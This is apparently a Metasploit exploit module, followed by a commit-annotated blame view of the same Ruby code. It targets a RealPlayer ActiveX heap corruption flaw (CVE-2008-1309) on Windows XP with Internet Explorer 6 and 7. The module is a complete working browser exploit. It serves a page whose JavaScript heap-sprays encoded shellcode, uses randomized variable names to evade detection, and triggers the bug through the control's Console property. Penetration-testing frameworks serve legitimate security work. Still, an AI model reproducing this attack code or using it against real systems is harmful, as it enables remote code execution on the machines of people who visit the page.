modules/exploits/windows/browser/realplayer_console.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',
      'Description'    => %q{
          This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.
        By sending a specially crafted string to the 'Console' property
        in the rmoc3260.dll control, an attacker may be able to execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
      'References'     =>
        [
          [ 'CVE', '2008-1309' ],
          [ 'OSVDB', '42946' ],
          [ 'BID', '28157' ],
          [ 'URL', 'http://web.archive.org/web/20080313103656/http://secunia.com:80/advisories/29315/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
        ],
      'DisclosureDate' => '2008-03-08',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
    blocksize = 0x40000
    fillto    = 400
    offset 	  = target['Offset']

    # Randomize the javascript variable names
    racontrol    = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)
    j_ret        = rand_text_alpha(rand(100) + 1)
    randnop      = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content = %Q|<html>
<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{randnop} = "#{nops}";
#{j_nops} = unescape(#{randnop});
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};

#{racontrol}.Console = #{j_ret};
#{racontrol}.Console = '';
#{racontrol}.Console = #{j_ret};
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`##`
use https for metaploit.com links 2017-07-24 06:26:21 -07:00			`# This module requires Metasploit: https://metasploit.com/download`
Redo the boilerplate / splat 2013-10-15 13:50:46 -05:00			`# Current source: https://github.com/rapid7/metasploit-framework`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`##`

use MetasploitModule as a class name 2016-03-08 14:02:44 +01:00			`class MetasploitModule < Msf::Exploit::Remote`
add ranking to every exploit module, pfew! 2009-12-06 05:50:37 +00:00			`Rank = NormalRanking`
Retab modules 2013-08-30 16:28:54 -05:00
This massive commit changes the metasploit 3 module format. The new syntax allows for greater scalability and future improvements to the metasploit module loader. This change also makes it easier for users to add new modules, since the class name no longer needs to match the directory structure. 2008-10-02 05:23:59 +00:00			`include Msf::Exploit::Remote::HttpServer::HTML`
Retab modules 2013-08-30 16:28:54 -05:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`def initialize(info = {})`
			`super(update_info(info,`
			`'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',`
			`'Description' => %q{`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.`
			`By sending a specially crafted string to the 'Console' property`
			`in the rmoc3260.dll control, an attacker may be able to execute`
			`arbitrary code.`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`},`
			`'License' => MSF_LICENSE,`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],`
			`'References' =>`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`[`
			`[ 'CVE', '2008-1309' ],`
Revert "Land #6812 , remove broken OSVDB references" 2016-07-15 12:00:31 -05:00			`[ 'OSVDB', '42946' ],`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`[ 'BID', '28157' ],`
Update broken secunia references 2023-03-23 10:19:30 +00:00			`[ 'URL', 'http://web.archive.org/web/20080313103656/http://secunia.com:80/advisories/29315/' ],`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`],`
			`'DefaultOptions' =>`
			`{`
			`'EXITFUNC' => 'process',`
			`},`
			`'Payload' =>`
			`{`
			`'Space' => 1024,`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`'BadChars' => "\x00\x09\x0a\x0d'\\",`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`'StackAdjustment' => -3500,`
			`},`
			`'Platform' => 'win',`
			`'Targets' =>`
			`[`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`],`
Convert disclosure dates to iso8601 2020-10-02 17:38:06 +01:00			`'DisclosureDate' => '2008-03-08',`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`'DefaultTarget' => 0))`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`def autofilter`
			`false`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`def check_dependencies`
			`use_zlib`
			`end`
Retab modules 2013-08-30 16:28:54 -05:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`def on_request_uri(cli, request)`
			`# Re-generate the payload`
			`return if ((p = regenerate_payload(cli)) == nil)`
Retab modules 2013-08-30 16:28:54 -05:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`# Encode the shellcode`
			`shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))`
Retab modules 2013-08-30 16:28:54 -05:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`# Setup exploit buffers`
			`nops = Rex::Text.to_unescape([target.ret].pack('V'))`
			`ret = Rex::Text.uri_encode([target.ret].pack('L'))`
			`blocksize = 0x40000`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`fillto = 400`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`offset = target['Offset']`
Retab modules 2013-08-30 16:28:54 -05:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`# Randomize the javascript variable names`
			`racontrol = rand_text_alpha(rand(100) + 1)`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`j_shellcode = rand_text_alpha(rand(100) + 1)`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`j_nops = rand_text_alpha(rand(100) + 1)`
			`j_headersize = rand_text_alpha(rand(100) + 1)`
			`j_slackspace = rand_text_alpha(rand(100) + 1)`
			`j_fillblock = rand_text_alpha(rand(100) + 1)`
			`j_block = rand_text_alpha(rand(100) + 1)`
			`j_memory = rand_text_alpha(rand(100) + 1)`
			`j_counter = rand_text_alpha(rand(30) + 2)`
			`j_ret = rand_text_alpha(rand(100) + 1)`
Avoid calling unescape on nops directly 2017-02-22 14:14:58 -05:00			`randnop = rand_text_alpha(rand(100) + 1)`
Retab modules 2013-08-30 16:28:54 -05:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`# Build out the message`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`content = %Q\|<html>`
			`<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object>`
			`<script language='javascript'>`
			`#{j_shellcode} = unescape('#{shellcode}');`
Avoid calling unescape on nops directly 2017-02-22 14:14:58 -05:00			`#{randnop} = "#{nops}";`
			`#{j_nops} = unescape(#{randnop});`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00			`#{j_headersize} = 20;`
			`#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length`
			`while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};`
			`#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});`
			`#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});`
			`while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};`
			`#{j_memory} = new Array();`
			`for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};`
			`#{j_ret} = unescape('#{ret}');`
			`while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};`

			`#{racontrol}.Console = #{j_ret};`
			`#{racontrol}.Console = '';`
			`#{racontrol}.Console = #{j_ret};`
			`</script>`
			`</html>`
			`\|`

Remove spurious cli.peerhost in output 2012-04-20 13:31:42 -06:00			`print_status("Sending #{self.name}")`
fixed the cve entrys. 2009-10-14 11:45:14 +00:00
			`# Transmit the response to the client`
			`send_response_html(cli, content)`
big module whitespace/formatting cleanup pass 2010-04-30 08:40:19 +00:00
fixed the cve entrys. 2009-10-14 11:45:14 +00:00			`# Handle the payload`
			`handler(cli)`
			`end`
OSVDB references updates from Steve Tornio 2009-07-16 16:02:24 +00:00			`end`